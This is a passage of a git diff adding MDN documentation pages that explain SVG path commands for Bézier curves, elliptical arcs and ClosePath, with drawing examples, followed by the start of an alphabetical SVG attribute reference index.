+ <td>(<code>dx1</code>,<code>dy1</code>, <code>dx2</code>,<code>dy2</code>, <code>dx</code>,<code>dy</code>)+</td>
+ <td>Draw a cubic Bézier curve from the <em>current point </em>to the <em>end point,</em> which is the <em>current point</em> shifted by <code>dx</code> along the x-axis and <code>dy</code> along the y-axis. The <em>start control point </em>is the <em>current point</em> (starting point of the curve) shifted by <code>dx1</code> along the x-axis and <code>dy1</code> along the y-axis. The <em>end control point </em>is the <em>current point</em> (starting point of the curve) shifted by <code>dx2</code> along the x-axis and <code>dy2</code> along the y-axis. Any subsequent triplet(s) of coordinate pairs are interpreted as parameter(s) for implicit relative cubic Bézier curve (<code>c</code>) command(s). Formulae: P<sub>o</sub><sup>'</sup> = P<sub>n</sub> = {x<sub>o</sub> + <code>dx</code>, y<sub>o</sub> + <code>dy</code>} ; P<sub>cs</sub> = {x<sub>o</sub> + <code>dx1</code>, y<sub>o</sub> + <code>dy1</code>} ; P<sub>ce</sub> = {x<sub>o</sub> + <code>dx2</code>, y<sub>o</sub> + <code>dy2</code>}</td>
+ </tr>
+ <tr>
+ <th scope="row">S</th>
+ <td>(<code>x2</code>,<code>y2</code>, <code>x</code>,<code>y</code>)+</td>
+ <td>Draw a smooth cubic Bézier curve from the <em>current point </em>to the <em>end point</em> specified by <code>x</code>,<code>y</code>. The <em>end control point</em> is specified by <code>x2</code>,<code>y2</code>. The <em>start control point</em> is a reflection of the <em>end control point</em> of the previous curve command. If the previous command wasn't a curve, the <em>start control point </em>is the same as the curve starting point (<em>current point</em>). Any subsequent pair(s) of coordinate pairs are interpreted as parameter(s) for implicit absolute smooth cubic Bézier curve (<code>S</code>) commands.</td>
+ </tr>
+ <tr>
+ <th scope="row">s</th>
+ <td>(<code>dx2</code>,<code>dy2</code>, <code>dx</code>,<code>dy</code>)+</td>
+ <td>Draw a smooth cubic Bézier curve from the <em>current point </em>to the <em>end point</em>, which is the <em>current point </em>shifted by <code>dx</code> along the x-axis and <code>dy</code> along the y-axis. The <em>end control point</em> is the <em>current point</em> (starting point of the curve) shifted by <code>dx2</code> along the x-axis and <code>dy2</code> along the y-axis. The <em>start control point</em> is a reflection of the <em>end control point</em> of the previous curve command. If the previous command wasn't a curve, the <em>start control point </em>is the same as the curve starting point (<em>current point</em>). Any subsequent pair(s) of coordinate pairs are interpreted as parameter(s) for implicit relative smooth cubic Bézier curve (<code>s</code>) commands.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h4 id="Examples_3">Examples</h4>
+
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 200 100" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"&gt;
+
+ &lt;!-- Cubic Bézier curve with absolute coordinates --&gt;
+ &lt;path fill="none" stroke="red"
+ d="M 10,90
+ C 30,90 25,10 50,10
+ S 70,90 90,90" /&gt;
+
+ &lt;!-- Cubic Bézier curve with relative coordinates --&gt;
+ &lt;path fill="none" stroke="red"
+ d="M 110,90
+ c 20,0 15,-80 40,-80
+ s 20,80 40,80" /&gt;
+
+ &lt;!-- Highlight the curve vertex and control points --&gt;
+ &lt;g id="ControlPoints"&gt;
+
+ &lt;!-- First cubic command control points --&gt;
+ &lt;line x1="10" y1="90" x2="30" y2="90" stroke="lightgrey" /&gt;
+ &lt;circle cx="30" cy="90" r="1.5"/&gt;
+
+ &lt;line x1="50" y1="10" x2="25" y2="10" stroke="lightgrey" /&gt;
+ &lt;circle cx="25" cy="10" r="1.5"/&gt;
+
+ &lt;!-- Second smooth command control points (the first one is implicit) --&gt;
+ &lt;line x1="50" y1="10" x2="75" y2="10" stroke="lightgrey" stroke-dasharray="2" /&gt;
+ &lt;circle cx="75" cy="10" r="1.5" fill="lightgrey"/&gt;
+
+ &lt;line x1="90" y1="90" x2="70" y2="90" stroke="lightgrey" /&gt;
+ &lt;circle cx="70" cy="90" r="1.5" /&gt;
+
+ &lt;!-- curve vertex points --&gt;
+ &lt;circle cx="10" cy="90" r="1.5"/&gt;
+ &lt;circle cx="50" cy="10" r="1.5"/&gt;
+ &lt;circle cx="90" cy="90" r="1.5"/&gt;
+ &lt;/g&gt;
+ &lt;use xlink:href="#ControlPoints" x="100" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('Cubic_Bézier_Curve', '100%', 200)}}</p>
+
+<h3 id="Quadratic_Bézier_Curve">Quadratic Bézier Curve</h3>
+
+<p><em>Quadratic <a href="https://en.wikipedia.org/wiki/Bézier_curve">Bézier curves</a></em> are smooth curve definitions using three points:</p>
+
+<ul>
+ <li><em>starting point (current point)</em> (P<sub>o</sub> = {x<sub>o</sub>, y<sub>o</sub>})</li>
+ <li><em>end point </em>(P<sub>n</sub> = {x<sub>n</sub>, y<sub>n</sub>})</li>
+ <li><em>control point </em> (P<sub>c</sub> = {x<sub>c</sub>, y<sub>c</sub>}) (controls curvature)</li>
+</ul>
+
+<p> </p>
+
+<p>After drawing, the <em>end point </em>(P<sub>n</sub>) becomes the <em>current point </em>for the next command (P<sub>o</sub>').</p>
+
+<p> </p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Command</th>
+ <th scope="col">Parameters</th>
+ <th scope="col">Notes</th>
+ </tr>
+ <tr>
+ <th scope="row">Q</th>
+ <td>(<code>x1</code>,<code>y1</code>, <code>x</code>,<code>y</code>)+</td>
+ <td>Draw a quadratic Bézier curve from the <em>current point </em>to the <em>end point </em>specified by <code>x</code>,<code>y</code>. The <em>control point</em> is specified by <code>x1</code>,<code>y1</code>. Any subsequent pair(s) of coordinate pairs are interpreted as parameter(s) for implicit absolute quadratic Bézier curve (<code>Q</code>) command(s). Formulae: P<sub>o</sub><sup>'</sup> = P<sub>n</sub> = {<code>x</code>, <code>y</code>} ; P<sub>c</sub> = {<code>x1</code>, <code>y1</code>}</td>
+ </tr>
+ <tr>
+ <th scope="row">q</th>
+ <td>(<code>dx1</code>,<code>dy1</code>, <code>dx</code>,<code>dy</code>)+</td>
+ <td>Draw a quadratic Bézier curve from the <em>current point </em>to the <em>end point</em>, which is the <em>current point </em>shifted by <code>dx</code> along the x-axis and <code>dy</code> along the y-axis. The <em>control point </em>is the <em>current point</em> (starting point of the curve) shifted by <code>dx1</code> along the x-axis and <code>dy1</code> along the y-axis. Any subsequent pair(s) of coordinate pairs are interpreted as parameter(s) for implicit relative quadratic Bézier curve (<code>q</code>) command(s). Formulae: P<sub>o</sub><sup>'</sup> = P<sub>n</sub> = {x<sub>o</sub> + <code>dx</code>, y<sub>o</sub> + <code>dy</code>} ; P<sub>c</sub> = {x<sub>o</sub> + <code>dx1</code>, y<sub>o</sub> + <code>dy1</code>}</td>
+ </tr>
+ <tr>
+ <th scope="row">T</th>
+ <td>(<code>x</code>,<code>y</code>)+</td>
+ <td>Draw a smooth quadratic Bézier curve from the <em>current point </em>to the <em>end point </em>specified by <code>x</code>,<code>y</code>. The <em>control point</em> is a reflection of the <em>control point</em> of the previous curve command. If the previous command wasn't a curve, the <em>control point </em>is the same as the curve starting point (<em>current point</em>). Any subsequent coordinate pair(s) are interpreted as parameter(s) for implicit absolute smooth quadratic Bézier curve (<code>T</code>) command(s). Formula: P<sub>o</sub><sup>'</sup> = P<sub>n</sub> = {<code>x</code>, <code>y</code>}</td>
+ </tr>
+ <tr>
+ <th scope="row">t</th>
+ <td>(<code>dx</code>,<code>dy</code>)+</td>
+ <td>Draw a smooth quadratic Bézier curve from the <em>current point </em>to the <em>end point</em>, which is the <em>current point </em>shifted by <code>dx</code> along the x-axis and <code>dy</code> along the y-axis. The <em>control point </em>is a reflection of the <em>control point </em>of the previous curve command. If the previous command wasn't a curve, the <em>control point </em>is the same as the curve starting point (<em>current point</em>). Any subsequent coordinate pair(s) are interpreted as parameter(s) for implicit relative smooth quadratic Bézier curve (<code>t</code>) command(s). Formulae: P<sub>o</sub><sup>'</sup> = P<sub>n</sub> = {x<sub>o</sub> + <code>dx</code>, y<sub>o</sub> + <code>dy</code>}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h4 id="Examples_4">Examples</h4>
+
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 200 100" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"&gt;
+
+ &lt;!-- Quadratic Bézier curve with implicite repetition --&gt;
+ &lt;path fill="none" stroke="red"
+ d="M 10,50
+ Q 25,25 40,50
+ t 30,0 30,0 30,0 30,0 30,0" /&gt;
+
+ &lt;!-- Highlight the curve vertex and control points --&gt;
+ &lt;g&gt;
+ &lt;polyline points="10,50 25,25 40,50" stroke="rgba(0,0,0,.2)" fill="none" /&gt;
+ &lt;circle cx="25" cy="25" r="1.5" /&gt;
+
+ &lt;!-- curve vertex points --&gt;
+ &lt;circle cx="10" cy="50" r="1.5"/&gt;
+ &lt;circle cx="40" cy="50" r="1.5"/&gt;
+
+ &lt;g id="SmoothQuadraticDown"&gt;
+ &lt;polyline points="40,50 55,75 70,50" stroke="rgba(0,0,0,.2)" stroke-dasharray="2" fill="none" /&gt;
+ &lt;circle cx="55" cy="75" r="1.5" fill="lightgrey" /&gt;
+ &lt;circle cx="70" cy="50" r="1.5" /&gt;
+ &lt;/g&gt;
+
+ &lt;g id="SmoothQuadraticUp"&gt;
+ &lt;polyline points="70,50 85,25 100,50" stroke="rgba(0,0,0,.2)" stroke-dasharray="2" fill="none" /&gt;
+ &lt;circle cx="85" cy="25" r="1.5" fill="lightgrey" /&gt;
+ &lt;circle cx="100" cy="50" r="1.5" /&gt;
+ &lt;/g&gt;
+
+ &lt;use xlink:href="#SmoothQuadraticDown" x="60" /&gt;
+ &lt;use xlink:href="#SmoothQuadraticUp" x="60" /&gt;
+ &lt;use xlink:href="#SmoothQuadraticDown" x="120" /&gt;
+ &lt;/g&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('Quadratic_Bézier_Curve', '100%', 200)}}</p>
+
+<h3 id="Elliptical_Arc_Curve">Elliptical Arc Curve</h3>
+
+<p><em>Elliptical arc curves</em> are curves define as a portion of an ellipse. It is sometimes easier than Bézier curve to draw highly regular curves.</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Command</th>
+ <th scope="col">Parameters</th>
+ <th scope="col">Notes</th>
+ </tr>
+ <tr>
+ <th scope="row">A</th>
+ <td>(<code>rx</code> <code>ry</code> <code>angle</code> <code>large-arc-flag</code> <code>sweep-flag</code> <code>x</code> <code>y</code>)+</td>
+ <td>
+ <p>Draw an Arc curve from the current point to the coordinate <code>x</code>,<code>y</code>. The center of the ellipse used to draw the arc is determine automatically based on the other parameters of the command:</p>
+
+ <ul>
+ <li><code>rx</code> and <code>ry</code> are the two radii of the ellipse;</li>
+ <li><code>angle</code> represents a rotation (in degree) of the ellipse relative to the x-axis;</li>
+ <li><code>large-arc-flag</code> and <code>sweep-flag</code> allows to chose which arc must be drawn as 4 possible arcs can be drawn out of the other parameters.
+ <ul>
+ <li><code>large-arc-flag</code> allows to chose one of the large arc (<strong>1</strong>) or small arc (<strong>0</strong>),</li>
+ <li><code>sweep-flag</code> allows to chose one of the clockwise turning arc (<strong>1</strong>) or anticlockwise turning arc (<strong>0</strong>)</li>
+ </ul>
+ </li>
+ </ul>
+ The coordinate <code>x</code>,<code>y</code> become the new current point for the next command. All subsequent sets of parameters are considered implicit absolute arc curve (<code>A</code>) commands.</td>
+ </tr>
+ <tr>
+ <th scope="row">a</th>
+ <td>(<code>rx</code> <code>ry</code> <code>angle</code> <code>large-arc-flag</code> <code>sweep-flag</code> <code>dx</code> <code>dy</code>)+</td>
+ <td>
+ <p>Draw an Arc curve from the current point to to a point for which coordinates are those of the current point shifted by <code>dx</code> along the x-axis and <code>dy</code> along the y-axis. The center of the ellipse used to draw the arc is determine automatically based on the other parameters of the command:</p>
+
+ <ul>
+ <li><code>rx</code> and <code>ry</code> are the two radii of the ellipse;</li>
+ <li><code>angle</code> represents a rotation (in degree) of the ellipse relative to the x-axis;</li>
+ <li><code>large-arc-flag</code> and <code>sweep-flag</code> allows to chose which arc must be drawn as 4 possible arcs can be drawn out of the other parameters.
+ <ul>
+ <li><code>large-arc-flag</code> allows to chose one of the large arc (<strong>1</strong>) or small arc (<strong>0</strong>),</li>
+ <li><code>sweep-flag</code> allows to chose one of the clockwise turning arc (<strong>1</strong>) or anticlockwise turning arc (<strong>0</strong>)</li>
+ </ul>
+ </li>
+ </ul>
+ The current point gets its X and Y coordinates shifted by <code>dx</code> and <code>dy</code> for the next command. All subsequent sets of parameters are considered implicit relative arc curve (<code>a</code>) commands.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h4 id="Examples_5">Examples</h4>
+
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 20 20" xmlns="http://www.w3.org/2000/svg"&gt;
+
+ &lt;!-- The influence of the arc flags on which arc is drawn --&gt;
+ &lt;path fill="none" stroke="red"
+ d="M 6,10
+ A 6 4 10 1 0 14,10" /&gt;
+
+ &lt;path fill="none" stroke="lime"
+ d="M 6,10
+ A 6 4 10 1 1 14,10" /&gt;
+
+ &lt;path fill="none" stroke="purple"
+ d="M 6,10
+ A 6 4 10 0 1 14,10" /&gt;
+
+ &lt;path fill="none" stroke="pink"
+ d="M 6,10
+ A 6 4 10 0 0 14,10" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('Elliptical_Arc_Curve', '100%', 200)}}</p>
+
+<h3 id="ClosePath">ClosePath</h3>
+
+<p><em>ClosePath</em> instructions draw a straight line from the current position, to the first point in the path.</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Command</th>
+ <th scope="col">Parameters</th>
+ <th scope="col">Notes</th>
+ </tr>
+ <tr>
+ <th scope="row">Z, z</th>
+ <td> </td>
+ <td>Close the current subpath by connecting the last point of the path with its initial point. If the two points doesn't have the same coordinates, a straight line is drawn between those two points.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p class="note"><strong>Note:</strong> The appearance of a shape closed with closepath may be different to that of one closed by drawing a line to the origin, using one of the other commands, because the line ends are joined together (according to the {{SVGAttr('stroke-linejoin')}} setting), rather than just being placed at the same coordinates.</p>
+
+<h4 id="Examples_6">Examples</h4>
+
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 -1 30 11" xmlns="http://www.w3.org/2000/svg"&gt;
+
+ &lt;!--
+ An open shape with the last point of
+ the path different than the first one
+ --&gt;
+ &lt;path stroke="red"
+ d="M 5,1
+ l -4,8 8,0" /&gt;
+
+ &lt;!--
+ An open shape with the last point of
+ the path matching the first one
+ --&gt;
+ &lt;path stroke="red"
+ d="M 15,1
+ l -4,8 8,0 -4,-8" /&gt;
+
+ &lt;!--
+ An closed shape with the last point of
+ the path different than the first one
+ --&gt;
+ &lt;path stroke="red"
+ d="M 25,1
+ l -4,8 8,0
+ z" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('ClosePath', '100%', 200)}}</p>
+
+<h2 id="Specification">Specification</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("SVG2", "paths.html#DProperty", "d")}}</td>
+ <td>{{Spec2("SVG2")}}</td>
+ <td>Definition for <code>&lt;path&gt;</code></td>
+ </tr>
+ <tr>
+ <td>{{SpecName("SVG1.1", "fonts.html#GlyphElementDAttribute", "d")}}</td>
+ <td>{{Spec2("SVG1.1")}}</td>
+ <td>Initial definition for <code>&lt;glyph&gt;</code> and <code>&lt;missing-glyph&gt;</code></td>
+ </tr>
+ <tr>
+ <td>{{SpecName("SVG1.1", "paths.html#DAttribute", "d")}}</td>
+ <td>{{Spec2("SVG1.1")}}</td>
+ <td>Initial definition for <code>&lt;path&gt;</code></td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/svg/attribute/index.html b/files/ko/web/svg/attribute/index.html
new file mode 100644
index 0000000000..9cdaf4b9ec
--- /dev/null
+++ b/files/ko/web/svg/attribute/index.html
@@ -0,0 +1,461 @@
+---
+title: SVG Attribute reference
+slug: Web/SVG/Attribute
+tags:
+ - NeedsHelp
+ - NeedsTranslation
+ - SVG
+ - SVG Attribute
+ - SVG Reference
+ - TopicStub
+translation_of: Web/SVG/Attribute
+---
+<p>« <a href="/en/SVG" title="en/SVG">SVG</a> / <a href="/en/SVG/Element" title="en/SVG/Element">SVG Element reference</a> »</p>
+
+<h2 id="SVG_Attributes">SVG Attributes</h2>
+
+<div style="-moz-column-width: 14em; -webkit-columns: 14em; columns: 14em;">
+<h3 id="A">A</h3>
+
+<ul>
+ <li>{{ SVGAttr("accent-height") }}</li>
+ <li>{{ SVGAttr("accumulate") }}</li>
+ <li>{{ SVGAttr("additive") }}</li>
+ <li>{{ SVGAttr("alignment-baseline") }}</li>
+ <li>{{ SVGAttr("allowReorder") }}</li>
+ <li>{{ SVGAttr("alphabetic") }}</li>
+ <li>{{ SVGAttr("amplitude") }}</li>
+ <li>{{ SVGAttr("arabic-form") }}</li>
+ <li>{{ SVGAttr("ascent") }}</li>
+ <li>{{ SVGAttr("attributeName") }}</li>
+ <li>{{ SVGAttr("attributeType") }}</li>
+ <li>{{ SVGAttr("autoReverse") }}</li>
+ <li>{{ SVGAttr("azimuth") }}</li>
+</ul>
+
+<h3 id="B">B</h3>
+
+<ul>
+ <li>{{ SVGAttr("baseFrequency") }}</li>
+ <li>{{ SVGAttr("baseline-shift") }}</li>
+ <li>{{ SVGAttr("baseProfile") }}</li>
+ <li>{{ SVGAttr("bbox") }}</li>
+ <li>{{ SVGAttr("begin") }}</li>
+ <li>{{ SVGAttr("bias") }}</li>
+ <li>{{ SVGAttr("by") }}</li>
+</ul>
+
+<h3 id="C">C</h3>
+
+<ul>
+ <li>{{ SVGAttr("calcMode") }}</li>
+ <li>{{ SVGAttr("cap-height") }}</li>
+ <li>{{ SVGAttr("class") }}</li>
+ <li>{{ SVGAttr("clip") }}</li>
+ <li>{{ SVGAttr("clipPathUnits") }}</li>
+ <li>{{ SVGAttr("clip-path") }}</li>
+ <li>{{ SVGAttr("clip-rule") }}</li>
+ <li>{{ SVGAttr("color") }}</li>
+ <li>{{ SVGAttr("color-interpolation") }}</li>
+ <li>{{ SVGAttr("color-interpolation-filters") }}</li>
+ <li>{{ SVGAttr("color-profile") }}</li>
+ <li>{{ SVGAttr("color-rendering") }}</li>
+ <li>{{ SVGAttr("contentScriptType") }}</li>
+ <li>{{ SVGAttr("contentStyleType") }}</li>
+ <li>{{ SVGAttr("cursor") }}</li>
+ <li>{{ SVGAttr("cx") }}</li>
+ <li>{{ SVGAttr("cy") }}</li>
+</ul>
+
+<h3 id="D">D</h3>
+
+<ul>
+ <li>{{ SVGAttr("d") }}</li>
+ <li>{{ SVGAttr("decelerate") }}</li>
+ <li>{{ SVGAttr("descent") }}</li>
+ <li>{{ SVGAttr("diffuseConstant") }}</li>
+ <li>{{ SVGAttr("direction") }}</li>
+ <li>{{ SVGAttr("display") }}</li>
+ <li>{{ SVGAttr("divisor") }}</li>
+ <li>{{ SVGAttr("dominant-baseline") }}</li>
+ <li>{{ SVGAttr("dur") }}</li>
+ <li>{{ SVGAttr("dx") }}</li>
+ <li>{{ SVGAttr("dy") }}</li>
+</ul>
+
+<h3 id="E">E</h3>
+
+<ul>
+ <li>{{ SVGAttr("edgeMode") }}</li>
+ <li>{{ SVGAttr("elevation") }}</li>
+ <li>{{ SVGAttr("enable-background") }}</li>
+ <li>{{ SVGAttr("end") }}</li>
+ <li>{{ SVGAttr("exponent") }}</li>
+ <li>{{ SVGAttr("externalResourcesRequired") }}</li>
+</ul>
+
+<h3 id="F">F</h3>
+
+<ul>
+ <li>{{ SVGAttr("fill") }}</li>
+ <li>{{ SVGAttr("fill-opacity") }}</li>
+ <li>{{ SVGAttr("fill-rule") }}</li>
+ <li>{{ SVGAttr("filter") }}</li>
+ <li>{{ SVGAttr("filterRes") }}</li>
+ <li>{{ SVGAttr("filterUnits") }}</li>
+ <li>{{ SVGAttr("flood-color") }}</li>
+ <li>{{ SVGAttr("flood-opacity") }}</li>
+ <li>{{ SVGAttr("font-family") }}</li>
+ <li>{{ SVGAttr("font-size") }}</li>
+ <li>{{ SVGAttr("font-size-adjust") }}</li>
+ <li>{{ SVGAttr("font-stretch") }}</li>
+ <li>{{ SVGAttr("font-style") }}</li>
+ <li>{{ SVGAttr("font-variant") }}</li>
+ <li>{{ SVGAttr("font-weight") }}</li>
+ <li>{{ SVGAttr("format") }}</li>
+ <li>{{ SVGAttr("from") }}</li>
+ <li>{{ SVGAttr("fx") }}</li>
+ <li>{{ SVGAttr("fy") }}</li>
+</ul>
+
+<h3 id="G">G</h3>
+
+<ul>
+ <li>{{ SVGAttr("g1") }}</li>
+ <li>{{ SVGAttr("g2") }}</li>
+ <li>{{ SVGAttr("glyph-name") }}</li>
+ <li>{{ SVGAttr("glyph-orientation-horizontal") }}</li>
+ <li>{{ SVGAttr("glyph-orientation-vertical") }}</li>
+ <li>{{ SVGAttr("glyphRef") }}</li>
+ <li>{{ SVGAttr("gradientTransform") }}</li>
+ <li>{{ SVGAttr("gradientUnits") }}</li>
+</ul>
+
+<h3 id="H">H</h3>
+
+<ul>
+ <li>{{ SVGAttr("hanging") }}</li>
+ <li>{{ SVGAttr("height") }}</li>
+ <li>{{ SVGAttr("horiz-adv-x") }}</li>
+ <li>{{ SVGAttr("horiz-origin-x") }}</li>
+</ul>
+
+<h3 id="I">I</h3>
+
+<ul>
+ <li>{{ SVGAttr("id") }}</li>
+ <li>{{ SVGAttr("ideographic") }}</li>
+ <li>{{ SVGAttr("image-rendering") }}</li>
+ <li>{{ SVGAttr("in") }}</li>
+ <li>{{ SVGAttr("in2") }}</li>
+ <li>{{ SVGAttr("intercept") }}</li>
+</ul>
+
+<h3 id="K">K</h3>
+
+<ul>
+ <li>{{ SVGAttr("k") }}</li>
+ <li>{{ SVGAttr("k1") }}</li>
+ <li>{{ SVGAttr("k2") }}</li>
+ <li>{{ SVGAttr("k3") }}</li>
+ <li>{{ SVGAttr("k4") }}</li>
+ <li>{{ SVGAttr("kernelMatrix") }}</li>
+ <li>{{ SVGAttr("kernelUnitLength") }}</li>
+ <li>{{ SVGAttr("kerning") }}</li>
+ <li>{{ SVGAttr("keyPoints") }}</li>
+ <li>{{ SVGAttr("keySplines") }}</li>
+ <li>{{ SVGAttr("keyTimes") }}</li>
+</ul>
+
+<h3 id="L">L</h3>
+
+<ul>
+ <li>{{ SVGAttr("lang") }}</li>
+ <li>{{ SVGAttr("lengthAdjust") }}</li>
+ <li>{{ SVGAttr("letter-spacing") }}</li>
+ <li>{{ SVGAttr("lighting-color") }}</li>
+ <li>{{ SVGAttr("limitingConeAngle") }}</li>
+ <li>{{ SVGAttr("local") }}</li>
+</ul>
+
+<h3 id="M">M</h3>
+
+<ul>
+ <li>{{ SVGAttr("marker-end") }}</li>
+ <li>{{ SVGAttr("marker-mid") }}</li>
+ <li>{{ SVGAttr("marker-start") }}</li>
+ <li>{{ SVGAttr("markerHeight") }}</li>
+ <li>{{ SVGAttr("markerUnits") }}</li>
+ <li>{{ SVGAttr("markerWidth") }}</li>
+ <li>{{ SVGAttr("mask") }}</li>
+ <li>{{ SVGAttr("maskContentUnits") }}</li>
+ <li>{{ SVGAttr("maskUnits") }}</li>
+ <li>{{ SVGAttr("mathematical") }}</li>
+ <li>{{ SVGAttr("max") }}</li>
+ <li>{{ SVGAttr("media") }}</li>
+ <li>{{ SVGAttr("method") }}</li>
+ <li>{{ SVGAttr("min") }}</li>
+ <li>{{ SVGAttr("mode") }}</li>
+</ul>
+
+<h3 id="N">N</h3>
+
+<ul>
+ <li>{{ SVGAttr("name") }}</li>
+ <li>{{ SVGAttr("numOctaves") }}</li>
+</ul>
+
+<h3 id="O">O</h3>
+
+<ul>
+ <li>{{ SVGAttr("offset") }}</li>
+ <li>{{ SVGAttr("onabort") }}</li>
+ <li>{{ SVGAttr("onactivate") }}</li>
+ <li>{{ SVGAttr("onbegin") }}</li>
+ <li>{{ SVGAttr("onclick") }}</li>
+ <li>{{ SVGAttr("onend") }}</li>
+ <li>{{ SVGAttr("onerror") }}</li>
+ <li>{{ SVGAttr("onfocusin") }}</li>
+ <li>{{ SVGAttr("onfocusout") }}</li>
+ <li>{{ SVGAttr("onload") }}</li>
+ <li>{{ SVGAttr("onmousedown") }}</li>
+ <li>{{ SVGAttr("onmousemove") }}</li>
+ <li>{{ SVGAttr("onmouseout") }}</li>
+ <li>{{ SVGAttr("onmouseover") }}</li>
+ <li>{{ SVGAttr("onmouseup") }}</li>
+ <li>{{ SVGAttr("onrepeat") }}</li>
+ <li>{{ SVGAttr("onresize") }}</li>
+ <li>{{ SVGAttr("onscroll") }}</li>
+ <li>{{ SVGAttr("onunload") }}</li>
+ <li>{{ SVGAttr("onzoom") }}</li>
+ <li>{{ SVGAttr("opacity") }}</li>
+ <li>{{ SVGAttr("operator") }}</li>
+ <li>{{ SVGAttr("order") }}</li>
+ <li>{{ SVGAttr("orient") }}</li>
+ <li>{{ SVGAttr("orientation") }}</li>
+ <li>{{ SVGAttr("origin") }}</li>
+ <li>{{ SVGAttr("overflow") }}</li>
+ <li>{{ SVGAttr("overline-position") }}</li>
+ <li>{{ SVGAttr("overline-thickness") }}</li>
+</ul>
+
+<h3 id="P">P</h3>
+
+<ul>
+ <li>{{ SVGAttr("panose-1") }}</li>
+ <li>{{ SVGAttr("paint-order") }}</li>
+ <li>{{ SVGAttr("pathLength") }}</li>
+ <li>{{ SVGAttr("patternContentUnits") }}</li>
+ <li>{{ SVGAttr("patternTransform") }}</li>
+ <li>{{ SVGAttr("patternUnits") }}</li>
+ <li>{{ SVGAttr("pointer-events") }}</li>
+ <li>{{ SVGAttr("points") }}</li>
+ <li>{{ SVGAttr("pointsAtX") }}</li>
+ <li>{{ SVGAttr("pointsAtY") }}</li>
+ <li>{{ SVGAttr("pointsAtZ") }}</li>
+ <li>{{ SVGAttr("preserveAlpha") }}</li>
+ <li>{{ SVGAttr("preserveAspectRatio") }}</li>
+ <li>{{ SVGAttr("primitiveUnits") }}</li>
+</ul>
+
+<h3 id="R">R</h3>
+
+<ul>
+ <li>{{ SVGAttr("r") }}</li>
+ <li>{{ SVGAttr("radius") }}</li>
+ <li>{{ SVGAttr("refX") }}</li>
+ <li>{{ SVGAttr("refY") }}</li>
+ <li>{{ SVGAttr("rendering-intent") }}</li>
+ <li>{{ SVGAttr("repeatCount") }}</li>
+ <li>{{ SVGAttr("repeatDur") }}</li>
+ <li>{{ SVGAttr("requiredExtensions") }}</li>
+ <li>{{ SVGAttr("requiredFeatures") }}</li>
+ <li>{{ SVGAttr("restart") }}</li>
+ <li>{{ SVGAttr("result") }}</li>
+ <li>{{ SVGAttr("rotate") }}</li>
+ <li>{{ SVGAttr("rx") }}</li>
+ <li>{{ SVGAttr("ry") }}</li>
+</ul>
+
+<h3 id="S">S</h3>
+
+<ul>
+ <li>{{ SVGAttr("scale") }}</li>
+ <li>{{ SVGAttr("seed") }}</li>
+ <li>{{ SVGAttr("shape-rendering") }}</li>
+ <li>{{ SVGAttr("slope") }}</li>
+ <li>{{ SVGAttr("spacing") }}</li>
+ <li>{{ SVGAttr("specularConstant") }}</li>
+ <li>{{ SVGAttr("specularExponent") }}</li>
+ <li>{{ SVGAttr("speed") }}</li>
+ <li>{{ SVGAttr("spreadMethod") }}</li>
+ <li>{{ SVGAttr("startOffset") }}</li>
+ <li>{{ SVGAttr("stdDeviation") }}</li>
+ <li>{{ SVGAttr("stemh") }}</li>
+ <li>{{ SVGAttr("stemv") }}</li>
+ <li>{{ SVGAttr("stitchTiles") }}</li>
+ <li>{{ SVGAttr("stop-color") }}</li>
+ <li>{{ SVGAttr("stop-opacity") }}</li>
+ <li>{{ SVGAttr("strikethrough-position") }}</li>
+ <li>{{ SVGAttr("strikethrough-thickness") }}</li>
+ <li>{{ SVGAttr("string") }}</li>
+ <li>{{ SVGAttr("stroke") }}</li>
+ <li>{{ SVGAttr("stroke-dasharray") }}</li>
+ <li>{{ SVGAttr("stroke-dashoffset") }}</li>
+ <li>{{ SVGAttr("stroke-linecap") }}</li>
+ <li>{{ SVGAttr("stroke-linejoin") }}</li>
+ <li>{{ SVGAttr("stroke-miterlimit") }}</li>
+ <li>{{ SVGAttr("stroke-opacity") }}</li>
+ <li>{{ SVGAttr("stroke-width") }}</li>
+ <li>{{ SVGAttr("style") }}</li>
+ <li>{{ SVGAttr("surfaceScale") }}</li>
+ <li>{{ SVGAttr("systemLanguage") }}</li>
+</ul>
+
+<h3 id="T">T</h3>
+
+<ul>
+ <li>{{ SVGAttr("tableValues") }}</li>
+ <li>{{ SVGAttr("target") }}</li>
+ <li>{{ SVGAttr("targetX") }}</li>
+ <li>{{ SVGAttr("targetY") }}</li>
+ <li>{{ SVGAttr("text-anchor") }}</li>
+ <li>{{ SVGAttr("text-decoration") }}</li>
+ <li>{{ SVGAttr("text-rendering") }}</li>
+ <li>{{ SVGAttr("textLength") }}</li>
+ <li>{{ SVGAttr("to") }}</li>
+ <li>{{ SVGAttr("transform") }}</li>
+ <li>{{ SVGAttr("type") }}</li>
+</ul>
+
+<h3 id="U">U</h3>
+
+<ul>
+ <li>{{ SVGAttr("u1") }}</li>
